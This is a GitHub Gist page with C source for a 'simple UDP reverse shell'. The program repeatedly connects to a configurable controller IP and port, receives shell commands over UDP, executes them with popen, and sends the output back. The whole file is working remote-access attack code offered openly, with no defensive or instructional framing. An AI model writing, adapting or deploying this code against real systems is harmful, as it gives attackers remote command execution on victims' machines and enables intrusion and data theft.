Created
April 16, 2025 15:45
-
-
Save SeanPesce/1a0da0d4497cc9b4972ab99bfefbf5d8 to your computer and use it in GitHub Desktop.
Simple UDP reverse shell written in C
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// UDP reverse shell | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <unistd.h> | |
#include <arpa/inet.h> | |
#include <ctype.h> | |
#define SERVER_IP "192.168.1.x" | |
#define SERVER_PORT 45100 | |
#define RETRY_INTERVAL 5 // Retry interval in seconds | |
int main() | |
{ | |
int sock; | |
struct sockaddr_in server_addr; | |
char buffer[4096]; | |
ssize_t received; | |
const char *redirect = " 2>&1"; | |
ssize_t sent_bytes; | |
struct timeval timeout; | |
timeout.tv_sec = 10; | |
timeout.tv_usec = 0; | |
while (1) | |
{ | |
// Create UDP socket | |
sock = socket(AF_INET, SOCK_DGRAM, 0); | |
if (sock < 0) | |
{ | |
perror("Socket creation failed"); | |
exit(EXIT_FAILURE); | |
} | |
// Configure server address | |
memset(&server_addr, 0, sizeof(server_addr)); | |
server_addr.sin_family = AF_INET; | |
server_addr.sin_port = htons(SERVER_PORT); | |
if (inet_pton(AF_INET, SERVER_IP, &server_addr.sin_addr) <= 0) | |
{ | |
perror("Invalid address"); | |
close(sock); | |
exit(EXIT_FAILURE); | |
} | |
// Set receive timeout | |
if (setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof(timeout)) < 0) { | |
perror("Failed to set receive timeout"); | |
//close(sock); | |
//exit(EXIT_FAILURE); | |
} | |
// Send initial connection message to the server | |
printf("Connecting...\n", RETRY_INTERVAL); | |
sent_bytes = sendto(sock, "[Reverse shell connected]\n", 26, 0, (struct sockaddr *)&server_addr, sizeof(server_addr)); | |
if (sent_bytes < 0) | |
{ | |
perror("Failed to connect"); | |
printf("Retrying in %d seconds...\n", RETRY_INTERVAL); | |
sleep(RETRY_INTERVAL); | |
continue; | |
} | |
while (1) | |
{ | |
// Receive command from the server | |
received = recvfrom(sock, buffer, sizeof(buffer) - 1, 0, NULL, NULL); | |
if (received < 0) | |
{ | |
perror("Receive failed"); | |
break; | |
//continue; | |
} | |
buffer[received] = '\0'; // Null-terminate the received command | |
printf("Received: \"%s\"\n", buffer); | |
// Check if no command was sent | |
if (buffer[0] == '\0') | |
{ | |
continue; | |
} | |
int is_blank = 1; | |
for (unsigned int i = 0; i < received; i++) | |
{ | |
if (!isspace(buffer[i])) | |
{ | |
is_blank = 0; | |
break; | |
} | |
} | |
if (is_blank) | |
{ | |
continue; | |
} | |
// Check if the connection should be terminated | |
if (strcmp(buffer, "exit") == 0 || strcmp(buffer, "quit") == 0 || ((strncmp(buffer, "exit", 4) == 0 || strncmp(buffer, "quit", 4) == 0) && isspace(buffer[4]))) | |
{ | |
break; | |
} | |
// Make sure that stderr is redirected to stdout | |
if (strstr(buffer, &redirect[1]) == 0) | |
{ | |
// Ensure there is enough space to append " 2>&1" | |
size_t current_length = strlen(buffer); | |
size_t redirect_length = strlen(redirect); | |
if (current_length + redirect_length < sizeof(buffer) - 1) | |
{ | |
// Remove the trailing newline, if necessary | |
if (buffer[received - 1] == '\n') | |
{ | |
buffer[received - 1] = '\0'; | |
received -= 1; | |
} | |
// Append " 2>&1" to the buffer | |
strcat(buffer, redirect); | |
received += sizeof(redirect); | |
} | |
else | |
{ | |
// Don't append the redirect | |
} | |
} | |
// Execute the received command | |
// printf(buffer); | |
FILE *fp = popen(buffer, "r"); | |
if (fp == NULL) | |
{ | |
strncpy(buffer, "[ERROR] Command execution failed", sizeof(buffer) - 1); | |
sendto(sock, buffer, strlen(buffer), 0, (struct sockaddr *)&server_addr, sizeof(server_addr)); | |
perror("[ERROR] Command execution failed"); | |
break; | |
} | |
// Send command output back to the server | |
while (fgets(buffer, sizeof(buffer), fp) != NULL) | |
{ | |
sendto(sock, buffer, strlen(buffer), 0, (struct sockaddr *)&server_addr, sizeof(server_addr)); | |
} | |
pclose(fp); | |
} | |
sendto(sock, "\n[Reverse shell disconnected]\n", 30, 0, (struct sockaddr *)&server_addr, sizeof(server_addr)); | |
close(sock); | |
sleep(RETRY_INTERVAL); | |
} | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment